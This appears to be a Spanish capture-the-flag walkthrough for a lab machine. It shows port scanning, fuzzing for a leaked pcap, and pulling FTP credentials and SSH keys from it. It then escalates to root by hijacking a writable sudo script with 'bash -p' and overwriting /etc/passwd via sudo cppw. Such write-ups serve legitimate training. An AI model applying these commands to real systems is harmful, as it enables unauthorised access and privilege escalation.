Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap. El primer barrido descubre los puertos abiertos a máxima velocidad; el segundo aplica scripts y detección de versiones sobre ellos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.144❯ nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 20:21 -03
Nmap scan report for 192.168.1.144
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 f4:8d:08:b4:99:d2:0c:5d:75:b8:22:83:7b:c2:88:15 (RSA)
| 256 e2:16:0a:e7:38:4a:ec:76:cf:d3:56:78:07:fd:2f:25 (ECDSA)
|_ 256 0b:5a:9c:71:cc:3b:50:04:46:18:ad:67:8a:df:d0:d6 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.06 secondsTenemos tres servicios: FTP (ProFTPD), SSH y un servidor web nginx.
Análisis de la captura de red
Al abrir el sitio web nos recibe un mensaje del administrador, que filtra una pista clave: existe una captura de Wireshark publicada, pero se olvidó la extensión del archivo:
I did a capture with wireshark.
The name of the file is "capture" but i dont remember the extension :(Fuzzeamos la extensión con gobuster en modo fuzz, sustituyendo el marcador FUZZ por cada entrada del diccionario y descartando las respuestas de longitud 169 (la página de error):
❯ gobuster fuzz -u http://192.168.1.144/capture.FUZZ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt --exclude-length 169
...
Found: [Status=200] [Length=406500] [Word=pcap] http://192.168.1.144/capture.pcap
...Descargamos capture.pcap y lo analizamos. El FTP viaja en texto plano, así que la captura conserva tanto los comandos de autenticación como sus valores y permite extraer directamente las credenciales de la sesión:
USER teste
PASS simpleAdemás, dentro de la captura viaja un archivo filexxx.zip que contiene una clave privada SSH. La primera clave, junto con el usuario teste, nos da acceso a la máquina. Este acceso no debe confundirse con el de jackob, cuya clave se obtiene después desde un segundo archivo con el mismo nombre.
QR oculto en la captura
Seguimos analizando el .pcap y encontramos un segundo filexxx.zip, con el mismo nombre que el anterior pero distinto tamaño, por lo que seleccionamos su traza y lo exportamos desde Wireshark (File > Export Objects).
Al descomprimirlo aparece una imagen con un código QR. Lo decodificamos con cualquier lector y obtenemos una URL:
http://localhost/jackobattack.txtEse archivo resulta ser la clave RSA SSH del usuario jackob. Establecemos la conexión, obtenemos la primera flag y comenzamos la escalada de privilegios.
Privilege Escalation a kratos mediante sudo script hijacking
Revisamos qué puede ejecutar jackob con sudo:
jackob@attack:~$ sudo -l
Matching Defaults entries for jackob on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jackob may run the following commands on attack:
(kratos) NOPASSWD: /home/jackob/attack.shEl script attack.sh se encuentra en nuestro propio home, donde tenemos permisos de escritura. Esto constituye un Writable Privileged Executable File: sudo confía en una ruta modificable por jackob, pero ejecuta su contenido con la identidad de kratos. Lo reemplazamos por uno que lance una shell con el flag -p, que preserva el UID efectivo:
#!/bin/bash
bash -pLo ejecutamos como kratos y obtenemos su shell:
jackob@attack:~$ sudo -u kratos /home/jackob/attack.sh
kratos@attack:~$Privilege Escalation a root mediante sudo cppw
Repetimos la enumeración de sudo con el nuevo usuario:
kratos@attack:/home/kratos$ sudo -l
Matching Defaults entries for kratos on attack:
!env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kratos may run the following commands on attack:
(root) NOPASSWD: /usr/sbin/cppwEl binario cppw se usa para reemplazar /etc/passwd por el archivo que le indiquemos. Ejecutarlo como root nos concede una escritura arbitraria sobre ese archivo crítico, por lo que podemos preparar una entrada de root con una contraseña bajo nuestro control.
Primero generamos un hash de contraseña con openssl:
kratos@attack:/home/kratos$ openssl passwd
Password:
Verifying - Password:
T31emqDlCr/kgCreamos un passwd propio con la contraseña de root modificada:
root:T31emqDlCr/kg:0:0:root:/root:/bin/bashLo aplicamos con cppw e iniciamos sesión como root:
kratos@attack:/home/kratos$ sudo /usr/sbin/cppw passwd
kratos@attack:/home/kratos$ su root
Password:
root@attack:/home/kratos#Obtenemos la segunda flag.
Fin.